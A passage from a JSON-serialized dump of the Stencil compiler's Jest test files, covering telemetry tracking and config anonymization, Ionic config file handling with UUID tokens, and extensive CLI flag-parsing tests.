=> {\n      return true;\n    });\n\n    expect(result).toBe(true);\n  });\n\n  it('handles returning false correctly', async () => {\n    const result = await tryFn(async () => {\n      return false;\n    });\n\n    expect(result).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/cli/telemetry/test/telemetry.spec.ts",
    "content": "import * as coreCompiler from '@stencil/core/compiler';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimport { DIST, DIST_CUSTOM_ELEMENTS, DIST_HYDRATE_SCRIPT, WWW } from '@utils';\n\nimport { createConfigFlags } from '../../../cli/config-flags';\nimport { createSystem } from '../../../compiler/sys/stencil-sys';\nimport type * as d from '../../../declarations';\nimport * as shouldTrack from '../shouldTrack';\nimport * as telemetry from '../telemetry';\nimport { anonymizeConfigForTelemetry } from '../telemetry';\n\ndescribe('telemetryBuildFinishedAction', () => {\n  let config: d.ValidatedConfig;\n  let sys: d.CompilerSystem;\n\n  beforeEach(() => {\n    sys = createSystem();\n    config = mockValidatedConfig({\n      flags: createConfigFlags({ task: 'build' }),\n      outputTargets: [],\n      sys,\n    });\n  });\n\n  it('issues a network request when complete', async () => {\n    const spyShouldTrack = jest.spyOn(shouldTrack, 'shouldTrack');\n    spyShouldTrack.mockReturnValue(\n      new Promise((resolve) => {\n        resolve(true);\n      }),\n    );\n\n    const results = {\n      componentGraph: {},\n      duration: 100,\n    } as d.CompilerBuildResults;\n\n    await telemetry.telemetryBuildFinishedAction(sys, config, coreCompiler, results);\n    expect(spyShouldTrack).toHaveBeenCalled();\n\n    spyShouldTrack.mockRestore();\n  });\n});\n\ndescribe('telemetryAction', () => {\n  let config: d.ValidatedConfig;\n  let sys: d.CompilerSystem;\n\n  beforeEach(() => {\n    sys = createSystem();\n    config = mockValidatedConfig({\n      flags: createConfigFlags({ task: 'build' }),\n      outputTargets: [],\n      sys,\n    });\n  });\n\n  it('issues a network request when no async function is passed', async () => {\n    const spyShouldTrack = jest.spyOn(shouldTrack, 'shouldTrack');\n    spyShouldTrack.mockReturnValue(\n      new Promise((resolve) => {\n        resolve(true);\n      }),\n    );\n\n    await telemetry.telemetryAction(sys, config, coreCompiler, () => {});\n    expect(spyShouldTrack).toHaveBeenCalled();\n\n    spyShouldTrack.mockRestore();\n  });\n\n  it('issues a network request when passed async function is complete', async () => {\n    const spyShouldTrack = jest.spyOn(shouldTrack, 'shouldTrack');\n    spyShouldTrack.mockReturnValue(\n      new Promise((resolve) => {\n        resolve(true);\n      }),\n    );\n\n    await telemetry.telemetryAction(sys, config, coreCompiler, async () => {\n      new Promise((resolve) => {\n        setTimeout(() => {\n          resolve(true);\n        }, 1000);\n      });\n    });\n\n    expect(spyShouldTrack).toHaveBeenCalled();\n\n    spyShouldTrack.mockRestore();\n  });\n});\n\ndescribe('checkTelemetry', () => {\n  const sys = createSystem();\n\n  it('will read and write from a file, returning the correct status', async () => {\n    await telemetry.enableTelemetry(sys);\n    expect(await telemetry.checkTelemetry(sys)).toBe(true);\n    await telemetry.disableTelemetry(sys);\n    expect(await telemetry.checkTelemetry(sys)).toBe(false);\n    await telemetry.enableTelemetry(sys);\n    expect(await telemetry.checkTelemetry(sys)).toBe(true);\n  });\n});\n\ndescribe('hasAppTarget()', () => {\n  let config: d.ValidatedConfig;\n  let sys: d.CompilerSystem;\n\n  beforeEach(() => {\n    sys = createSystem();\n    config = mockValidatedConfig({ sys });\n  });\n\n  it(\"returns 'false' when `outputTargets` is empty\", () => {\n    config.outputTargets = [];\n    expect(telemetry.hasAppTarget(config)).toBe(false);\n  });\n\n  it(\"returns 'false' when `outputTargets` contains `www` with no `baseUrl` and no service worker\", () => {\n    config.outputTargets = [{ type: WWW }];\n    expect(telemetry.hasAppTarget(config)).toBe(false);\n  });\n\n  it(\"returns 'false' when `outputTargets` contains `www` with '/' baseUrl value\", () => {\n    config.outputTargets = [{ type: WWW, baseUrl: '/' }];\n    expect(telemetry.hasAppTarget(config)).toBe(false);\n  });\n\n  it(\"returns 'true' when `outputTargets` contains `www` with a service worker\", () => {\n    config.outputTargets = [{ type: WWW, serviceWorker: { swDest: './tmp' } }];\n    expect(telemetry.hasAppTarget(config)).toBe(true);\n  });\n\n  it(\"returns 'true' when `outputTargets` contains `www` with baseUrl\", () => {\n    config.outputTargets = [{ type: WWW, baseUrl: 'https://example.com' }];\n    expect(telemetry.hasAppTarget(config)).toBe(true);\n  });\n\n  it(\"returns 'true' when `outputTargets` contains `www` with serviceWorker and baseUrl\", () => {\n    config.outputTargets = [{ type: WWW, baseUrl: 'https://example.com', serviceWorker: { swDest: './tmp' } }];\n    expect(telemetry.hasAppTarget(config)).toBe(true);\n  });\n});\n\ndescribe('prepareData', () => {\n  let config: d.ValidatedConfig;\n  let sys: d.CompilerSystem;\n\n  beforeEach(() => {\n    config = mockValidatedConfig();\n    sys = config.sys;\n    // set static name + versions, otherwise tests will pull in the dev build's data (which changes per build)\n    sys.name = 'in-memory';\n    sys.version = '__VERSION:STENCIL__';\n  });\n\n  it('prepares an object to send to ionic', async () => {\n    const data = await telemetry.prepareData(coreCompiler, config, sys, 1000);\n    expect(data).toEqual({\n      arguments: [],\n      build: coreCompiler.buildId,\n      component_count: undefined,\n      // the configuration generation is tested elsewhere, just verify we're sending something under this flag\n      config: expect.any(Object),\n      cpu_model: '',\n      duration_ms: 1000,\n      has_app_pwa_config: false,\n      os_name: '',\n      os_version: '',\n      packages: [],\n      packages_no_versions: [],\n      rollup: coreCompiler.versions.rollup,\n      stencil: coreCompiler.versions.stencil,\n      system: 'in-memory __VERSION:STENCIL__',\n      system_major: 'in-memory __VERSION:STENCIL__',\n      targets: [],\n      task: null,\n      typescript: coreCompiler.versions.typescript,\n      yarn: false,\n    });\n  });\n\n  describe('has_app_pwa_config property', () => {\n    it('sets `has_app_pwa_config` to true when there is a service worker', async () => {\n      const config = mockValidatedConfig({\n        outputTargets: [{ type: 'www', baseUrl: 'https://example.com' }],\n      });\n\n      const data = await telemetry.prepareData(coreCompiler, config, sys, 1000);\n\n      expect(data.has_app_pwa_config).toBe(true);\n    });\n\n    it(\"sets `has_app_pwa_config` to true for a non '/' baseUrl\", async () => {\n      const config = mockValidatedConfig({\n        outputTargets: [{ type: 'www', serviceWorker: { swDest: './tmp' } }],\n      });\n\n      const data = await telemetry.prepareData(coreCompiler, config, sys, 1000);\n\n      expect(data.has_app_pwa_config).toBe(true);\n    });\n  });\n\n  it('sends a component count when one is provided', async () => {\n    const COMPONENT_COUNT = 12;\n\n    const config = mockValidatedConfig({\n      outputTargets: [{ type: 'www' }],\n    });\n\n    const data = await telemetry.prepareData(coreCompiler, config, sys, 1000, COMPONENT_COUNT);\n\n    expect(data.component_count).toEqual(COMPONENT_COUNT);\n  });\n});\n\ndescribe('anonymizeConfigForTelemetry', () => {\n  let config: d.ValidatedConfig;\n  let sys: d.CompilerSystem;\n\n  beforeEach(() => {\n    sys = createSystem();\n    config = mockValidatedConfig({ sys });\n  });\n\n  it.each<keyof d.ValidatedConfig>([\n    'rootDir',\n    'fsNamespace',\n    'packageJsonFilePath',\n    'namespace',\n    'srcDir',\n    'srcIndexHtml',\n    'buildLogFilePath',\n    'cacheDir',\n    'configPath',\n    'tsconfig',\n  ])(\"should anonymize top-level string prop '%s'\", (prop: keyof d.ValidatedConfig) => {\n    const anonymizedConfig = anonymizeConfigForTelemetry({\n      ...config,\n      [prop]: \"shouldn't see this!\",\n      outputTargets: [],\n    });\n    expect(anonymizedConfig[prop]).toBe('omitted');\n    expect(anonymizedConfig.outputTargets).toEqual([]);\n  });\n\n  it.each<keyof d.ValidatedConfig>([\n    'commonjs',\n    'devServer',\n    'env',\n    'logger',\n    'rollupConfig',\n    'sys',\n    'testing',\n    'tsCompilerOptions',\n  ])(\"should remove objects under prop '%s'\", (prop: keyof d.ValidatedConfig) => {\n    const anonymizedConfig = anonymizeConfigForTelemetry({ ...config, [prop]: {}, outputTargets: [] });\n    expect(anonymizedConfig.hasOwnProperty(prop)).toBe(false);\n    expect(anonymizedConfig.outputTargets).toEqual([]);\n  });\n\n  it('should retain outputTarget props on the keep list', () => {\n    const anonymizedConfig = anonymizeConfigForTelemetry({\n      ...config,\n      outputTargets: [\n        { type: WWW, baseUrl: 'https://example.com' },\n        { type: DIST_HYDRATE_SCRIPT, external: ['beep', 'boop'], dir: 'shoud/go/away' },\n        { type: DIST_CUSTOM_ELEMENTS },\n        { type: DIST_CUSTOM_ELEMENTS, generateTypeDeclarations: true },\n        { type: DIST, typesDir: 'my-types' },\n      ],\n    });\n\n    expect(anonymizedConfig.outputTargets).toEqual([\n      { type: WWW, baseUrl: 'omitted' },\n      { type: DIST_HYDRATE_SCRIPT, external: ['beep', 'boop'], dir: 'omitted' },\n      { type: DIST_CUSTOM_ELEMENTS },\n      { type: DIST_CUSTOM_ELEMENTS, generateTypeDeclarations: true },\n      { type: DIST, typesDir: 'omitted' },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/cli/test/ionic-config.spec.ts",
    "content": "import { mockCompilerSystem } from '@stencil/core/testing';\n\nimport { createSystem } from '../../compiler/sys/stencil-sys';\nimport { defaultConfig, readConfig, updateConfig, writeConfig } from '../ionic-config';\nimport { UUID_REGEX } from '../telemetry/helpers';\n\nconst UUID1 = '5588e0f0-02b5-4afa-8194-5d8f78683b36';\nconst UUID2 = 'e5609819-5c24-4fa2-8817-e05ca10b8cae';\n\ndescribe('readConfig', () => {\n  const sys = mockCompilerSystem();\n\n  beforeEach(async () => {\n    await sys.removeFile(defaultConfig(sys));\n  });\n\n  it('should create a file if it does not exist', async () => {\n    const result = await sys.stat(defaultConfig(sys));\n\n    // expect the file to have been deleted by the test setup\n    expect(result.isFile).toBe(false);\n\n    const config = await readConfig(sys);\n\n    expect(Object.keys(config).join()).toBe('tokens.telemetry,telemetry.stencil');\n  });\n\n  it(\"should fix the telemetry token if it's a string, but an invalid UUID\", async () => {\n    await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': 'aaaa' });\n\n    const result = await sys.stat(defaultConfig(sys));\n\n    expect(result.isFile).toBe(true);\n\n    const config = await readConfig(sys);\n\n    expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry');\n    expect(config['telemetry.stencil']).toBe(true);\n    expect(config['tokens.telemetry']).toMatch(UUID_REGEX);\n  });\n\n  it('handles a non-string telemetry token', async () => {\n    // our typings state that `tokens.telemetry` is of type `string | undefined`, but technically this value could be\n    // anything. use `undefined` to make the typings happy (this should cover all non-string telemetry tokens). the\n    // important thing here is that the value is _not_ a string for this test!\n    await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': undefined });\n\n    const config = await readConfig(sys);\n\n    expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry');\n    expect(config['telemetry.stencil']).toBe(true);\n    expect(config['tokens.telemetry']).toMatch(UUID_REGEX);\n  });\n\n  it('handles a non-existent telemetry token', async () => {\n    await writeConfig(sys, { 'telemetry.stencil': true });\n\n    const config = await readConfig(sys);\n\n    expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry');\n    expect(config['telemetry.stencil']).toBe(true);\n    expect(config['tokens.telemetry']).toMatch(UUID_REGEX);\n  });\n\n  it('should read a file if it exists', async () => {\n    await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': UUID1 });\n\n    const result = await sys.stat(defaultConfig(sys));\n\n    expect(result.isFile).toBe(true);\n\n    const config = await readConfig(sys);\n\n    expect(Object.keys(config).join()).toBe('telemetry.stencil,tokens.telemetry');\n    expect(config['telemetry.stencil']).toBe(true);\n    expect(config['tokens.telemetry']).toBe(UUID1);\n  });\n});\n\ndescribe('updateConfig', () => {\n  const sys = createSystem();\n\n  it('should edit a file', async () => {\n    await writeConfig(sys, { 'telemetry.stencil': true, 'tokens.telemetry': UUID1 });\n\n    const result = await sys.stat(defaultConfig(sys));\n\n    expect(result.isFile).toBe(true);\n\n    const configPre = await readConfig(sys);\n\n    expect(typeof configPre).toBe('object');\n    expect(Object.keys(configPre).join()).toBe('telemetry.stencil,tokens.telemetry');\n    expect(configPre['telemetry.stencil']).toBe(true);\n    expect(configPre['tokens.telemetry']).toBe(UUID1);\n\n    await updateConfig(sys, { 'telemetry.stencil': false, 'tokens.telemetry': UUID2 });\n\n    const configPost = await readConfig(sys);\n\n    expect(typeof configPost).toBe('object');\n    // Should keep the previous order\n    expect(Object.keys(configPost).join()).toBe('telemetry.stencil,tokens.telemetry');\n    expect(configPost['telemetry.stencil']).toBe(false);\n    expect(configPost['tokens.telemetry']).toBe(UUID2);\n  });\n});\n"
  },
  {
    "path": "src/cli/test/parse-flags.spec.ts",
    "content": "import { toDashCase } from '@utils';\n\nimport { LogLevel } from '../../declarations';\nimport {\n  BOOLEAN_CLI_FLAGS,\n  BOOLEAN_STRING_CLI_FLAGS,\n  BooleanStringCLIFlag,\n  ConfigFlags,\n  NUMBER_CLI_FLAGS,\n  STRING_ARRAY_CLI_FLAGS,\n  STRING_CLI_FLAGS,\n  StringArrayCLIFlag,\n} from '../config-flags';\nimport { Empty, parseEqualsArg, parseFlags } from '../parse-flags';\n\ndescribe('parseFlags', () => {\n  it('should get known and unknown args', () => {\n    const args = ['serve', '--address', '127.0.0.1', '--potatoArgument', '--flimflammery', 'test.spec.ts'];\n\n    const flags = parseFlags(args);\n    expect(flags.task).toBe('serve');\n    expect(flags.args[0]).toBe('--address');\n    expect(flags.args[1]).toBe('127.0.0.1');\n    expect(flags.args[2]).toBe('--potatoArgument');\n    expect(flags.args[3]).toBe('--flimflammery');\n    expect(flags.args[4]).toBe('test.spec.ts');\n    expect(flags.knownArgs).toEqual(['--address', '127.0.0.1']);\n    expect(flags.unknownArgs[0]).toBe('--potatoArgument');\n    expect(flags.unknownArgs[1]).toBe('--flimflammery');\n    expect(flags.unknownArgs[2]).toBe('test.spec.ts');\n  });\n\n  it('should parse cli for dev server', () => {\n    // user command line args\n    // $ npm run serve --port 4444\n\n    // args.slice(2)\n    // [ 'serve', '--address', '127.0.0.1', '--port', '4444' ]\n\n    const args = ['serve', '--address', '127.0.0.1', '--port', '4444'];\n\n    const flags = parseFlags(args);\n    expect(flags.task).toBe('serve');\n    expect(flags.address).toBe('127.0.0.1');\n    expect(flags.port).toBe(4444);\n    expect(flags.knownArgs).toEqual(['--address', '127.0.0.1', '--port', '4444']);\n  });\n\n  it('should parse task', () => {\n    const flags = parseFlags(['build']);\n    expect(flags.task).toBe('build');\n  });\n\n  it('should parse no task', () => {\n    const flags = parseFlags(['--flag']);\n    expect(flags.task).toBe(null);\n  });\n\n  /**\n   * these comprehensive tests of all the supported boolean args serve as\n   * regression tests against duplicating any of the arguments in the arrays.\n   * Because of the way that the arg parsing algorithm works having a dupe\n   * will result in a value like `[true, true]` being set on ConfigFlags, which\n   * will cause these tests to start failing.\n   */\n  describe.each(BOOLEAN_CLI_FLAGS)('should parse boolean flag %s', (cliArg) => {\n    it('should parse arg', () => {\n      const flags = parseFlags([`--${cliArg}`]);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`]);\n      expect(flags[cliArg]).toBe(true);\n    });\n\n    it(`should parse --no${cliArg}`, () => {\n      const negativeFlag = '--no' + cliArg.charAt(0).toUpperCase() + cliArg.slice(1);\n      const flags = parseFlags([negativeFlag]);\n      expect(flags.knownArgs).toEqual([negativeFlag]);\n      expect(flags[cliArg]).toBe(false);\n    });\n\n    it(`should override --${cliArg} with --no${cliArg}`, () => {\n      const negativeFlag = '--no' + cliArg.charAt(0).toUpperCase() + cliArg.slice(1);\n      const flags = parseFlags([`--${cliArg}`, negativeFlag]);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, negativeFlag]);\n      expect(flags[cliArg]).toBe(false);\n    });\n\n    it('should not set value if not present', () => {\n      const flags = parseFlags([]);\n      expect(flags.knownArgs).toEqual([]);\n      expect(flags[cliArg]).toBe(undefined);\n    });\n\n    it.each([true, false])(`should set the value with --${cliArg}=%p`, (value) => {\n      const flags = parseFlags([`--${cliArg}=${value}`]);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, String(value)]);\n      expect(flags[cliArg]).toBe(value);\n    });\n  });\n\n  describe.each(STRING_CLI_FLAGS)('should parse string flag %s', (cliArg) => {\n    it(`should parse \"--${cliArg} value\"`, () => {\n      const flags = parseFlags([`--${cliArg}`, 'test-value']);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toBe('test-value');\n    });\n\n    it(`should parse \"--${cliArg}=value\"`, () => {\n      const flags = parseFlags([`--${cliArg}=path/to/file.js`]);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'path/to/file.js']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toBe('path/to/file.js');\n    });\n\n    it(`should parse \"--${toDashCase(cliArg)} value\"`, () => {\n      const flags = parseFlags([`--${toDashCase(cliArg)}`, 'path/to/file.js']);\n      expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toBe('path/to/file.js');\n    });\n\n    it(`should parse \"--${toDashCase(cliArg)}=value\"`, () => {\n      const flags = parseFlags([`--${toDashCase(cliArg)}=path/to/file.js`]);\n      expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toBe('path/to/file.js');\n    });\n  });\n\n  it.each(NUMBER_CLI_FLAGS)('should parse number flag %s', (cliArg) => {\n    const flags = parseFlags([`--${cliArg}`, '42']);\n    expect(flags.knownArgs).toEqual([`--${cliArg}`, '42']);\n    expect(flags.unknownArgs).toEqual([]);\n    expect(flags[cliArg]).toBe(42);\n  });\n\n  it('should override --config with second --config', () => {\n    const args = ['--config', '/config-1.js', '--config', '/config-2.js'];\n    const flags = parseFlags(args);\n    expect(flags.config).toBe('/config-2.js');\n  });\n\n  describe.each(BOOLEAN_STRING_CLI_FLAGS)('boolean-string flag - %s', (cliArg: BooleanStringCLIFlag) => {\n    it('parses a boolean-string flag as a boolean with no arg', () => {\n      const args = [`--${cliArg}`];\n      const flags = parseFlags(args);\n      expect(flags[cliArg]).toBe(true);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`]);\n    });\n\n    it(`parses a boolean-string flag as a falsy boolean with \"no\" arg - --no-${cliArg}`, () => {\n      const args = [`--no-${cliArg}`];\n      const flags = parseFlags(args);\n      expect(flags[cliArg]).toBe(false);\n      expect(flags.knownArgs).toEqual([`--no-${cliArg}`]);\n    });\n\n    it(`parses a boolean-string flag as a falsy boolean with \"no\" arg - --no${\n      cliArg.charAt(0).toUpperCase() + cliArg.slice(1)\n    }`, () => {\n      const negativeFlag = '--no' + cliArg.charAt(0).toUpperCase() + cliArg.slice(1);\n      const flags = parseFlags([negativeFlag]);\n      expect(flags[cliArg]).toBe(false);\n      expect(flags.knownArgs).toEqual([negativeFlag]);\n    });\n\n    it('parses a boolean-string flag as a string with a string arg', () => {\n      const args = [`--${cliArg}`, 'shell'];\n      const flags = parseFlags(args);\n      expect(flags[cliArg]).toBe('shell');\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'shell']);\n    });\n\n    it('parses a boolean-string flag as a string with a string arg using equality', () => {\n      const args = [`--${cliArg}=shell`];\n      const flags = parseFlags(args);\n      expect(flags[cliArg]).toBe('shell');\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'shell']);\n    });\n  });\n\n  describe.each<LogLevel>(['info', 'warn', 'error', 'debug'])('logLevel %s', (level) => {\n    it(\"should parse '--logLevel %s'\", () => {\n      const args = ['--logLevel', level];\n      const flags = parseFlags(args);\n      expect(flags.logLevel).toBe(level);\n    });\n\n    it('should parse --logLevel=%s', () => {\n      const args = [`--logLevel=${level}`];\n      const flags = parseFlags(args);\n      expect(flags.logLevel).toBe(level);\n    });\n\n    it(\"should parse '--log-level %s'\", () => {\n      const flags = parseFlags(['--log-level', level]);\n      expect(flags.logLevel).toBe(level);\n    });\n\n    it('should parse --log-level=%s', () => {\n      const flags = parseFlags([`--log-level=${level}`]);\n      expect(flags.logLevel).toBe(level);\n    });\n  });\n\n  /**\n   * maxWorkers is (as of this writing) our only StringNumberCLIArg, meaning it\n   * may be a string (like \"50%\") or a number (like 4). For this reason we have\n   * some tests just for it.\n   */\n  describe('maxWorkers', () => {\n    it.each([\n      ['--maxWorkers', '4'],\n      ['--maxWorkers=4'],\n      ['--max-workers', '4'],\n      ['--maxWorkers', '4e+0'],\n      ['--maxWorkers', '40e-1'],\n    ])('should parse %p, %p', (...args) => {\n      const flags = parseFlags(args);\n      expect(flags.maxWorkers).toBe(4);\n    });\n\n    it('should parse --maxWorkers 4', () => {\n      const flags = parseFlags(['--maxWorkers', '4']);\n      expect(flags.maxWorkers).toBe(4);\n    });\n\n    it('should parse --maxWorkers=4', () => {\n      const flags = parseFlags(['--maxWorkers=4']);\n      expect(flags.maxWorkers).toBe(4);\n    });\n\n    it('should parse --max-workers 4', () => {\n      const flags = parseFlags(['--max-workers', '4']);\n      expect(flags.maxWorkers).toBe(4);\n    });\n\n    it('should parse --maxWorkers=50%', function () {\n      // see https://jestjs.io/docs/27.x/cli#--maxworkersnumstring\n      const flags = parseFlags(['--maxWorkers=50%']);\n      expect(flags.maxWorkers).toBe('50%');\n    });\n\n    it('should parse --max-workers=1', () => {\n      const flags = parseFlags(['--max-workers=1']);\n      expect(flags.maxWorkers).toBe(1);\n    });\n\n    it('should not parse --max-workers', () => {\n      const flags = parseFlags([]);\n      expect(flags.maxWorkers).toBe(undefined);\n    });\n  });\n\n  describe('aliases', () => {\n    describe('-p (alias for port)', () => {\n      it('should parse -p=4444', () => {\n        const flags = parseFlags(['-p=4444']);\n        expect(flags.port).toBe(4444);\n      });\n      it('should parse -p 4444', () => {\n        const flags = parseFlags(['-p', '4444']);\n        expect(flags.port).toBe(4444);\n      });\n    });\n\n    it('should parse -h (alias for help)', () => {\n      const flags = parseFlags(['-h']);\n      expect(flags.help).toBe(true);\n    });\n\n    it('should parse -v (alias for version)', () => {\n      const flags = parseFlags(['-v']);\n      expect(flags.version).toBe(true);\n    });\n\n    describe('-c alias for config', () => {\n      it('should parse -c /my-config.js', () => {\n        const flags = parseFlags(['-c', '/my-config.js']);\n        expect(flags.config).toBe('/my-config.js');\n        expect(flags.knownArgs).toEqual(['--config', '/my-config.js']);\n      });\n\n      it('should parse -c=/my-config.js', () => {\n        const flags = parseFlags(['-c=/my-config.js']);\n        expect(flags.config).toBe('/my-config.js');\n        expect(flags.knownArgs).toEqual(['--config', '/my-config.js']);\n      });\n    });\n\n    describe('Jest aliases', () => {\n      it.each([\n        ['w', 'maxWorkers', '4'],\n        ['t', 'testNamePattern', 'testname'],\n      ])('should support the string Jest alias %p for %p', (alias, fullArgument, value) => {\n        const flags = parseFlags([`-${alias}`, value]);\n        expect(flags.knownArgs).toEqual([`--${fullArgument}`, value]);\n        expect(flags.unknownArgs).toHaveLength(0);\n      });\n\n      it.each([\n        ['w', 'maxWorkers', '4'],\n        ['t', 'testNamePattern', 'testname'],\n      ])('should support the string Jest alias %p for %p in an AliasEqualsArg', (alias, fullArgument, value) => {\n        const flags = parseFlags([`-${alias}=${value}`]);\n        expect(flags.knownArgs).toEqual([`--${fullArgument}`, value]);\n        expect(flags.unknownArgs).toHaveLength(0);\n      });\n\n      it.each<[string, keyof ConfigFlags]>([\n        ['b', 'bail'],\n        ['e', 'expand'],\n        ['o', 'onlyChanged'],\n        ['f', 'onlyFailures'],\n        ['i', 'runInBand'],\n        ['u', 'updateSnapshot'],\n      ])('should support the boolean Jest alias %p for %p', (alias, fullArgument) => {\n        const flags = parseFlags([`-${alias}`]);\n        expect(flags.knownArgs).toEqual([`--${fullArgument}`]);\n        expect(flags[fullArgument]).toBe(true);\n        expect(flags.unknownArgs).toHaveLength(0);\n      });\n    });\n  });\n\n  it('should parse many', () => {\n    const args = ['-v', '--help', '-c=./myconfig.json'];\n    const flags = parseFlags(args);\n    expect(flags.version).toBe(true);\n    expect(flags.help).toBe(true);\n    expect(flags.config).toBe('./myconfig.json');\n  });\n\n  describe('parseEqualsArg', () => {\n    it.each([\n      ['--fooBar=baz', '--fooBar', 'baz'],\n      ['--foo-bar=4', '--foo-bar', '4'],\n      ['--fooBar=twenty=3*4', '--fooBar', 'twenty=3*4'],\n      ['--fooBar', '--fooBar', Empty],\n      ['--foo-bar', '--foo-bar', Empty],\n      ['--foo-bar=\"\"', '--foo-bar', '\"\"'],\n    ])('should parse %s correctly', (testArg, expectedArg, expectedValue) => {\n      const [arg, value] = parseEqualsArg(testArg);\n      expect(arg).toBe(expectedArg);\n      expect(value).toEqual(expectedValue);\n    });\n  });\n\n  describe.each(STRING_ARRAY_CLI_FLAGS)('should parse string flag %s', (cliArg: StringArrayCLIFlag) => {\n    it(`should parse single value: \"--${cliArg} test-value\"`, () => {\n      const flags = parseFlags([`--${cliArg}`, 'test-value']);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['test-value']);\n    });\n\n    it(`should parse multiple values: \"--${cliArg} test-value\"`, () => {\n      const flags = parseFlags([`--${cliArg}`, 'test-value', `--${cliArg}`, 'second-test-value']);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value', `--${cliArg}`, 'second-test-value']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']);\n    });\n\n    it(`should parse \"--${cliArg}=value\"`, () => {\n      const flags = parseFlags([`--${cliArg}=path/to/file.js`]);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'path/to/file.js']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['path/to/file.js']);\n    });\n\n    it(`should parse multiple values: \"--${cliArg}=test-value\"`, () => {\n      const flags = parseFlags([`--${cliArg}=test-value`, `--${cliArg}=second-test-value`]);\n      expect(flags.knownArgs).toEqual([`--${cliArg}`, 'test-value', `--${cliArg}`, 'second-test-value']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']);\n    });\n\n    it(`should parse \"--${toDashCase(cliArg)} value\"`, () => {\n      const flags = parseFlags([`--${toDashCase(cliArg)}`, 'path/to/file.js']);\n      expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['path/to/file.js']);\n    });\n\n    it(`should parse multiple values: \"--${toDashCase(cliArg)} test-value\"`, () => {\n      const flags = parseFlags([\n        `--${toDashCase(cliArg)}`,\n        'test-value',\n        `--${toDashCase(cliArg)}`,\n        'second-test-value',\n      ]);\n      expect(flags.knownArgs).toEqual([\n        `--${toDashCase(cliArg)}`,\n        'test-value',\n        `--${toDashCase(cliArg)}`,\n        'second-test-value',\n      ]);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']);\n    });\n\n    it(`should parse \"--${toDashCase(cliArg)}=value\"`, () => {\n      const flags = parseFlags([`--${toDashCase(cliArg)}=path/to/file.js`]);\n      expect(flags.knownArgs).toEqual([`--${toDashCase(cliArg)}`, 'path/to/file.js']);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['path/to/file.js']);\n    });\n\n    it(`should parse multiple values: \"--${toDashCase(cliArg)}=test-value\"`, () => {\n      const flags = parseFlags([`--${toDashCase(cliArg)}=test-value`, `--${toDashCase(cliArg)}=second-test-value`]);\n      expect(flags.knownArgs).toEqual([\n        `--${toDashCase(cliArg)}`,\n        'test-value',\n        `--${toDashCase(cliArg)}`,\n        'second-test-value',\n      ]);\n      expect(flags.unknownArgs).toEqual([]);\n      expect(flags[cliArg]).toEqual(['test-value', 'second-test-value']);\n    });\n  });\n\n  describe('error reporting', () => {\n    it('should throw if you pass no argument to a string flag', () => {\n      expect(() => {\n        parseFlags(['--cacheDirectory', '--someOtherFlag']);\n      }).toThrow('when parsing CLI flag \"--cacheDirectory\": expected a string argument but received nothing');\n    });\n\n    it('should throw if you pass no argument to a string array flag', () => {\n      expect(() => {\n        parseFlags(['--reporters', '--someOtherFlag']);\n      }).toThrow('when parsing CLI flag \"--reporters\": expected a string argument but received nothing');\n    });\n\n    it('should throw if you pass no argument to a number flag', () => {\n      expect(() => {\n        parseFlags(['--port', '--someOtherFlag']);\n      }).toThrow('when parsing CLI flag \"--port\": expected a number argument but received nothing');\n    });\n\n    it('should throw if you pass a non-number argument to a number flag', () => {\n      expect(() => {\n        parseFlags(['--port', 'stringy']);\n      }).toThrow('when parsing CLI flag \"--port\": expected a number but received \"stringy\"');\n    });\n\n    it('should throw if you pass a bad number argument to a number flag', () => {\n      expect(() => {\n        parseFlags(['--port=NaN']);\n      }).toThrow('when parsing CLI flag \"--port\": expected a number but received \"NaN\"');\n    });\n\n    it('should throw if you pass no argument to a string/number flag', () => {\n      expect(() => {\n        parseFlags(['--maxWorkers']);\n      }).toThrow('when parsing CLI flag \"--maxWorkers\": expected a string or a number but received nothing');\n    });\n\n    it('should throw if you pass an invalid log level for --logLevel', () => {\n      expect(() => {\n        parseFlags(['--logLevel', 'potato']);\n      }).toThrow('when parsing CLI flag \"--logLevel\": expected to receive a valid log level but received \"potato\"');\n    });\n\n    it('should throw if you pass no argument to --logLevel', () => {\n      expect(() => {\n        parseFlags(['--logLevel']);\n      }).toThrow('when parsing CLI flag \"--logLevel\": expected to receive a valid log level but received nothing');\n    });\n 